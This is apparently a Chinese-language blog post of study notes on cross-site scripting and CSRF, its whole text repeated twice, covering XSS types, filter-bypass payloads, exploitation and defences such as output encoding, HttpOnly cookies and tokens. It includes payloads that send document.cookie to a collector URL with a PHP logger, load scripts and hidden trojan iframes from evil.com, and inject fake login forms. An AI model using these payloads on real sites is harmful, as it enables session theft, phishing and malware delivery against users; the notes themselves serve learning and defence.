xss跨站脚本攻击与防御

xss跨站脚本攻击与防御

分类

  1. 反射型

    1. 利用手法:通过特定方式(电子邮件),使用户访问包含恶意代码的url。

    2. 特点:只在用户单击时触发,只执行一次。

    3. 出没点:搜索栏,登陆入口。

    4. 作用:常用于窃取客户端cookies/钓鱼欺骗等

    5. 和CSRF有相似之处---利用url

  2. 持久型

    1. 特征:攻击者将恶意js代码上传或存储到漏洞服务器中,受害者浏览此恶意界面就会执行代码。

    2. 作用:获取cookie,挂马,钓鱼,渗透。更容易编写xss蠕虫

  3. DOM型

    1. 有必要说一下,DOM和反射型从效果上来说是一类

    2. 修改页面DOM节点形成XSS

 

XSS 备忘单Lhttp://ha.ckers.org/xss.html---涵盖可能触发xss的测试用

 

绕过XSS-filter

  1. 利用<>标签注射html/js-----通过<>标签可以操作一个html标签

  2. 利用标签属性值---支持javascript:[code] 伪协议形式

    1. 通常只有引用文件属性

    2. href= ,lowsrc=,bgsound=,background=,value=,action=,dynsrc

  3. 空格回车TAB

  4. 标签属性值转码

    1. html属性值支持ASCII码

    2. <img src="javascrip&#116&#58alert(/xss/);">

    3. Tab字符的ASCII码 &#9,换行符&#10,回车符&#13可以插入到任意位置

    4. <img src=1 onerror=>

  5. 构造事件

    1. html与js交互是通过事件进行

    2. <img src="#" onerror=alert(/xss/)>

  6. css跨站

    1. css执行js代码

      <div style="background-image:url(javascript:alert(/xss/))">

      <style>

      body {background-image:url("javascript:alert('/xss/')")};

      </style>

    2. css可以使用express执行js代码

      <img src="#" style="xss:expression(alert(/xss/));">

      <style>

      body {background-image:expression(alert('/xss/'))};

      </style>

    3. css样式表可以从其他目标机器上进行引用,使用<link> 标签

  7. 扰乱过滤规则

    1. 大小写转换

    2. 全角半角字符转换

    3. 使用注释字符,在适当的地方穿插

    4. 转码,html某些属性值支持十进制和十六进制,&#格式

      1. eval 也同样支持,但是十进制需要配合使用string.fromcharcode()

Shellcode 调用

由于不是很清楚这些名词的意思,来看一下。

shellcode:利用一个漏洞时所执行的代码

exploit:完整编写好的漏洞利用工具或程序, exploit包含shellcode

POC:proof of concept缩写,证明漏洞存在的代码片段

  1. 远程运行js代码

    http://www.wooyun.com/bug.php?src="><script src="http://www.evil.com/xss.js"></script><

  2. 基于dom方法创建和插入节点

  3. 使用window.location.hash

    location是js管理地址栏的内置对象。

    location.hash可以获取和设置页面的标签值 http://test.com/#a的location.hash="#a"

  4. xss downloader

    将shellcode存储到网站数据库中,再下载下来执行

  5. 存储技术, http cookie,localstorage等


XSS利用方式剖析

  1. cookie窃取

    1. 窃取方式:<script>document.location="http://www.test.com/cookie.php?cookie="+document.cookie

    2. 服务器端:<?php $cookie=$_GET['cookie'];$log=fopen("cookie.txt","a");fwrite($log,$cookie."\n");fclose($log)?>

    3. 将获取到的cookie进行替换就ok

  2. 会话劫持

    session:会话的意思,指访问者从到达页面---->离开这段时间。服务器会维护一个session,访问结束,session也就结束

    session和cookie区别,cookie存在于浏览器端,session是服务器记录客户的状态信息

    1. 权限提升

      1. 在留言处注入添加管理员账户的xss代码。当网站管理员来查看用户留言的时候,就会执行。

      2. 在攻击中带上cookie并发送到服务端

    2. 获取网站webshell

      webshell是脚本语言编写的后门程序,利用webshell向服务器发送请求和执行命令

    3. 网络钓鱼

      利用假冒界面引诱用户输入相关信息

      1. 钓鱼页面:伪造登陆界面,将获取到的账号密码,发送到指定的接受服务器端,然后用php的header()函数实现页面转向,访问正常页面

      2. 钓鱼利用方式

        1. xss重定向钓鱼

          在存在的xss注入点: http://www.test.com/index.php?sea="'><script>document.location.href="http://www.evil.com"</script>

        2. HTML注入钓鱼

          直接写入html/js代码到页面:

          http://www.bug.com/index.php?search=”’<html><head><title>login</title></head><body><div style="text-align: center;"><formMethod="POST" Action="phishing.php" Name="form"><br /><br/>Login:<br/><input name="login" /><br />Password:<br/><input name="Password"type="password" /><br/><br /><input name="Valid" value="Ok" type="submit" /><br /></form></div></body></html>

        3. xss跨框架钓鱼

          通过' ifram标签嵌入远程域的一个页面实施钓鱼

          例:http://www.bug.com/index.php?sea=[expliot]

          http://www.bug.com/index.php?sea='><iframe src="http://www.evil.com" height="100%" width="100%"></iframe>

          将钓鱼页面嵌入框架页面,就可以迷惑用户,这种危害更大,迷惑性更强。

    4. 高级钓鱼技术

      虽然xss可以窃取用户cookie,但是网站如果将cookie属性设置为"Httponly",就可以防止cookie被恶意js脚本获取

      注入JavaScript脚本代码劫持HTML表单和控制Web的行为

     

  3. XSS History

    运用一些js/css技巧可以获取用户浏览器的某些历史记录,搜索引擎输入的查询字符

  4. 客户端信息刺探

    1. js实现端口扫描

      对要扫描的网址,进行端口试探,返回成功则判断开启了相关服务

    2. 截获剪贴板内容

      js可以通过 window.clipboardData对象处理剪贴板的内容

      该功能只适合在IE浏览器下使用

    3. 获取IP地址

      核心代码: obj=new ActiveXObject("rcbdyctl,Setting");

      rslt=obj.GetIPAddress;

      同样,该段代码只能运行在IE浏览器,且获取到的是内网地址

     

  5. 网页挂马

    在用户访问的网站上,将木马和网页结合起来。在用户浏览的同时也运行了木马程序

    <script >document.write("<iframe src=http://www.evil.com/trojan.html width=0height=0></iframe>")</script>

  6. DOS和DDOS

    DOS:拒绝服务攻击,这种攻击会利用大量数据包"淹没"目标主机

    <script>for(;;)alert("xss");</script>,会不断重复打开一个对话框迫使浏览器用户关闭

    DDOS:分布式拒绝服务攻击,利用客户端对服务器不断发起请求,

 


发掘XSS漏洞

测试分为 白盒测试(有源代码)/灰盒测试(两者皆有)/黑盒测试(无法取得资源的情况)

  1. 黑盒测试

    用字符进行试探攻击

  2. 源代码审计

    对存在的输入点,周边的过滤函数检查

  3. DOM型XSS

    反射型和存储型是由于服务器端代码的问题,而DOM型是由于前端JS代码的漏洞问题

  4. XSS Worm剖析

    1. 寻找xss点

    2. 实现蠕虫行为

 


 

Flash应用安全

CSRF 跨站请求伪造攻击

CSRF和XSS经常一起进行攻击,他们都属于跨站攻击,不攻击服务器端而是经常攻击访问网站的用户

web应用程序使用cookie来识别用户身份,当用户登陆网站并完成身份验证,浏览器会得到一个cookie,如果从第三方web页面发起对当前网站域下的请求,该请求也会带上相应的cookie

以用户的身份执行了攻击者想执行的行为

CSRF/XSS区别

 

 CSRFXSS
中文名字 跨站请求伪造 跨站脚本
脚本 未必需要 借助js等脚本
产生原因 采用隐式认证 用户输入没有正确过滤
防御技巧 验证referer,使用token等 输入过滤,输出编码
关系 1.如果一个网站存在xss漏洞,很大可能存在csrf漏洞2.都会利用用户会话执行某些操作3.CSRF恶意代码可能位于第三方,所以过滤用户输入就算能防御XSS漏洞,也不一定能防御CSRF  

HTTP 响应拆分

CRLF注射攻击---> 浏览器用户添加额外的HTTP报头信息到HTTP数据包中,通过自定义HTTP头创造任意内容返回用户浏览器

关键点: 消息头和数据包的分割是用 CRLF/回车换行来分割的,巧妙构造就能实现修改http data内容

防御:禁止使用回车换行符,包括编码形式的

 

宽字节注入

宽字节注入不止在sql注入中产生,在所有对字符的过滤中,字符编码没有设置正确也会长生。

当PHP设置GBK等宽字符集的适合,\的编码为5C,如果我们输入xss%d5' 就会转变成--->xss%d5%5c%27,因为是宽字符集,d55c组成了一个字符,  而 单引号就逃逸了出来。

 

 


 

防御 XSS攻击

输入过滤

可以在客户端和服务器端同时过滤,但是服务器端一定不能缺失,客户端是用户可以操作的。

所以,确认数据安全过滤,最好方法是在服务器端进行保护

输出编码

HTML编码在防止XSS攻击上有很大作用,主要用对于HTML实体替代字面量字符,确保将其当作HTML文档内容而不是HTML结构进行处理

 

输出可以做两手准备, 输出编码-->输出过滤-->web page

最好采用 白名单策略

因为,xss有很多形式的绕过测率:

大小写混淆:<img src=JaVaScRiPt:alert('XSS')>

插入Tab键:<img src="javascript:alert('XSS');">

插入回车符: <img src="javascript:alert('XSS');">

使用/**/注释符:<img src="java/*xxxx%81*/script:alert(‘XSS’);" >

重复混淆关键字:<img src="java/*/*javascript*/script/*javascript*/*/script:alert(‘XSS’);" >

使用&#十六进制编码字符:<img src="jav&#x09;ascript:alert('XSS');">

使用&#十进制编码字符:<img src="jav&#97;script:alert('XSS');">

使用&#000十进制编码字符(加入大量0000):<img src="j&#00097;vascript:alert('XSS');">

开头插入空格:<img src=" javascript:alert('XSS');">

 

web安全编码

对上下文合理编码

 

对cookie设置HttpOnly 能使js不能获取cookie重要信息

php.ini文件设置 session.cookie_httponly=1开启全局cookie的httponly

 

使用WAF

 

防御CSRF

CSRF就是诱导用户执行相关行为,所以防御CSRF的手段就从1.增加访问成本,比如token,2.判断是否为用户真实行为.有以下几个点进行CSRF防御

 

  1. 使用POST代替GET;--->可以使用在其他站点插入表单,发送post请求绕过

  2. 检验HTTP Referer;--->http referer可以被客户端伪造

  3. 使用验证码; --->不但可以抵御csrf还有恶意注册等功能,但会降低用户体验

  4. 使用token;--->使得攻击者不能预测请求关键字段

xss跨站脚本攻击与防御

分类

  1. 反射型

    1. 利用手法:通过特定方式(电子邮件),使用户访问包含恶意代码的url。

    2. 特点:只在用户单击时触发,只执行一次。

    3. 出没点:搜索栏,登陆入口。

    4. 作用:常用于窃取客户端cookies/钓鱼欺骗等

    5. 和CSRF有相似之处---利用url

  2. 持久型

    1. 特征:攻击者将恶意js代码上传或存储到漏洞服务器中,受害者浏览此恶意界面就会执行代码。

    2. 作用:获取cookie,挂马,钓鱼,渗透。更容易编写xss蠕虫

  3. DOM型

    1. 有必要说一下,DOM和反射型从效果上来说是一类

    2. 修改页面DOM节点形成XSS

 

XSS 备忘单Lhttp://ha.ckers.org/xss.html---涵盖可能触发xss的测试用

 

绕过XSS-filter

  1. 利用<>标签注射html/js-----通过<>标签可以操作一个html标签

  2. 利用标签属性值---支持javascript:[code] 伪协议形式

    1. 通常只有引用文件属性

    2. href= ,lowsrc=,bgsound=,background=,value=,action=,dynsrc

  3. 空格回车TAB

  4. 标签属性值转码

    1. html属性值支持ASCII码

    2. <img src="javascrip&#116&#58alert(/xss/);">

    3. Tab字符的ASCII码 &#9,换行符&#10,回车符&#13可以插入到任意位置

    4. <img src=1 onerror=>

  5. 构造事件

    1. html与js交互是通过事件进行

    2. <img src="#" onerror=alert(/xss/)>

  6. css跨站

    1. css执行js代码

      <div style="background-image:url(javascript:alert(/xss/))">

      <style>

      body {background-image:url("javascript:alert('/xss/')")};

      </style>

    2. css可以使用express执行js代码

      <img src="#" style="xss:expression(alert(/xss/));">

      <style>

      body {background-image:expression(alert('/xss/'))};

      </style>

    3. css样式表可以从其他目标机器上进行引用,使用<link> 标签

  7. 扰乱过滤规则

    1. 大小写转换

    2. 全角半角字符转换

    3. 使用注释字符,在适当的地方穿插

    4. 转码,html某些属性值支持十进制和十六进制,&#格式

      1. eval 也同样支持,但是十进制需要配合使用string.fromcharcode()

Shellcode 调用

由于不是很清楚这些名词的意思,来看一下。

shellcode:利用一个漏洞时所执行的代码

exploit:完整编写好的漏洞利用工具或程序, exploit包含shellcode

POC:proof of concept缩写,证明漏洞存在的代码片段

  1. 远程运行js代码

    http://www.wooyun.com/bug.php?src="><script src="http://www.evil.com/xss.js"></script><

  2. 基于dom方法创建和插入节点

  3. 使用window.location.hash

    location是js管理地址栏的内置对象。

    location.hash可以获取和设置页面的标签值 http://test.com/#a的location.hash="#a"

  4. xss downloader

    将shellcode存储到网站数据库中,再下载下来执行

  5. 存储技术, http cookie,localstorage等


XSS利用方式剖析

  1. cookie窃取

    1. 窃取方式:<script>document.location="http://www.test.com/cookie.php?cookie="+document.cookie

    2. 服务器端:<?php $cookie=$_GET['cookie'];$log=fopen("cookie.txt","a");fwrite($log,$cookie."\n");fclose($log)?>

    3. 将获取到的cookie进行替换就ok

  2. 会话劫持

    session:会话的意思,指访问者从到达页面---->离开这段时间。服务器会维护一个session,访问结束,session也就结束

    session和cookie区别,cookie存在于浏览器端,session是服务器记录客户的状态信息

    1. 权限提升

      1. 在留言处注入添加管理员账户的xss代码。当网站管理员来查看用户留言的时候,就会执行。

      2. 在攻击中带上cookie并发送到服务端

    2. 获取网站webshell

      webshell是脚本语言编写的后门程序,利用webshell向服务器发送请求和执行命令

    3. 网络钓鱼

      利用假冒界面引诱用户输入相关信息

      1. 钓鱼页面:伪造登陆界面,将获取到的账号密码,发送到指定的接受服务器端,然后用php的header()函数实现页面转向,访问正常页面

      2. 钓鱼利用方式

        1. xss重定向钓鱼

          在存在的xss注入点: http://www.test.com/index.php?sea="'><script>document.location.href="http://www.evil.com"</script>

        2. HTML注入钓鱼

          直接写入html/js代码到页面:

          http://www.bug.com/index.php?search=”’<html><head><title>login</title></head><body><div style="text-align: center;"><formMethod="POST" Action="phishing.php" Name="form"><br /><br/>Login:<br/><input name="login" /><br />Password:<br/><input name="Password"type="password" /><br/><br /><input name="Valid" value="Ok" type="submit" /><br /></form></div></body></html>

        3. xss跨框架钓鱼

          通过' ifram标签嵌入远程域的一个页面实施钓鱼

          例:http://www.bug.com/index.php?sea=[expliot]

          http://www.bug.com/index.php?sea='><iframe src="http://www.evil.com" height="100%" width="100%"></iframe>

          将钓鱼页面嵌入框架页面,就可以迷惑用户,这种危害更大,迷惑性更强。

    4. 高级钓鱼技术

      虽然xss可以窃取用户cookie,但是网站如果将cookie属性设置为"Httponly",就可以防止cookie被恶意js脚本获取

      注入JavaScript脚本代码劫持HTML表单和控制Web的行为

     

  3. XSS History

    运用一些js/css技巧可以获取用户浏览器的某些历史记录,搜索引擎输入的查询字符

  4. 客户端信息刺探

    1. js实现端口扫描

      对要扫描的网址,进行端口试探,返回成功则判断开启了相关服务

    2. 截获剪贴板内容

      js可以通过 window.clipboardData对象处理剪贴板的内容

      该功能只适合在IE浏览器下使用

    3. 获取IP地址

      核心代码: obj=new ActiveXObject("rcbdyctl,Setting");

      rslt=obj.GetIPAddress;

      同样,该段代码只能运行在IE浏览器,且获取到的是内网地址

     

  5. 网页挂马

    在用户访问的网站上,将木马和网页结合起来。在用户浏览的同时也运行了木马程序

    <script >document.write("<iframe src=http://www.evil.com/trojan.html width=0height=0></iframe>")</script>

  6. DOS和DDOS

    DOS:拒绝服务攻击,这种攻击会利用大量数据包"淹没"目标主机

    <script>for(;;)alert("xss");</script>,会不断重复打开一个对话框迫使浏览器用户关闭

    DDOS:分布式拒绝服务攻击,利用客户端对服务器不断发起请求,

 


发掘XSS漏洞

测试分为 白盒测试(有源代码)/灰盒测试(两者皆有)/黑盒测试(无法取得资源的情况)

  1. 黑盒测试

    用字符进行试探攻击

  2. 源代码审计

    对存在的输入点,周边的过滤函数检查

  3. DOM型XSS

    反射型和存储型是由于服务器端代码的问题,而DOM型是由于前端JS代码的漏洞问题

  4. XSS Worm剖析

    1. 寻找xss点

    2. 实现蠕虫行为

 


 

Flash应用安全

CSRF 跨站请求伪造攻击

CSRF和XSS经常一起进行攻击,他们都属于跨站攻击,不攻击服务器端而是经常攻击访问网站的用户

web应用程序使用cookie来识别用户身份,当用户登陆网站并完成身份验证,浏览器会得到一个cookie,如果从第三方web页面发起对当前网站域下的请求,该请求也会带上相应的cookie

以用户的身份执行了攻击者想执行的行为

CSRF/XSS区别

 

 CSRFXSS
中文名字 跨站请求伪造 跨站脚本
脚本 未必需要 借助js等脚本
产生原因 采用隐式认证 用户输入没有正确过滤
防御技巧 验证referer,使用token等 输入过滤,输出编码
关系 1.如果一个网站存在xss漏洞,很大可能存在csrf漏洞2.都会利用用户会话执行某些操作3.CSRF恶意代码可能位于第三方,所以过滤用户输入就算能防御XSS漏洞,也不一定能防御CSRF  

HTTP 响应拆分

CRLF注射攻击---> 浏览器用户添加额外的HTTP报头信息到HTTP数据包中,通过自定义HTTP头创造任意内容返回用户浏览器

关键点: 消息头和数据包的分割是用 CRLF/回车换行来分割的,巧妙构造就能实现修改http data内容

防御:禁止使用回车换行符,包括编码形式的

 

宽字节注入

宽字节注入不止在sql注入中产生,在所有对字符的过滤中,字符编码没有设置正确也会长生。

当PHP设置GBK等宽字符集的适合,\的编码为5C,如果我们输入xss%d5' 就会转变成--->xss%d5%5c%27,因为是宽字符集,d55c组成了一个字符,  而 单引号就逃逸了出来。

 

 


 

防御 XSS攻击

输入过滤

可以在客户端和服务器端同时过滤,但是服务器端一定不能缺失,客户端是用户可以操作的。

所以,确认数据安全过滤,最好方法是在服务器端进行保护

输出编码

HTML编码在防止XSS攻击上有很大作用,主要用对于HTML实体替代字面量字符,确保将其当作HTML文档内容而不是HTML结构进行处理

 

输出可以做两手准备, 输出编码-->输出过滤-->web page

最好采用 白名单策略

因为,xss有很多形式的绕过测率:

大小写混淆:<img src=JaVaScRiPt:alert('XSS')>

插入Tab键:<img src="javascript:alert('XSS');">

插入回车符: <img src="javascript:alert('XSS');">

使用/**/注释符:<img src="java/*xxxx%81*/script:alert(‘XSS’);" >

重复混淆关键字:<img src="java/*/*javascript*/script/*javascript*/*/script:alert(‘XSS’);" >

使用&#十六进制编码字符:<img src="jav&#x09;ascript:alert('XSS');">

使用&#十进制编码字符:<img src="jav&#97;script:alert('XSS');">

使用&#000十进制编码字符(加入大量0000):<img src="j&#00097;vascript:alert('XSS');">

开头插入空格:<img src=" javascript:alert('XSS');">

 

web安全编码

对上下文合理编码

 

对cookie设置HttpOnly 能使js不能获取cookie重要信息

php.ini文件设置 session.cookie_httponly=1开启全局cookie的httponly

 

使用WAF

 

防御CSRF

CSRF就是诱导用户执行相关行为,所以防御CSRF的手段就从1.增加访问成本,比如token,2.判断是否为用户真实行为.有以下几个点进行CSRF防御

  1. 使用POST代替GET;--->可以使用在其他站点插入表单,发送post请求绕过

  2. 检验HTTP Referer;--->http referer可以被客户端伪造

  3. 使用验证码; --->不但可以抵御csrf还有恶意注册等功能,但会降低用户体验

  4. 使用token;--->使得攻击者不能预测请求关键字段

  5.  

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

posted @ 2020-04-10 10:55  t0wl  阅读(509)  评论(0)    收藏  举报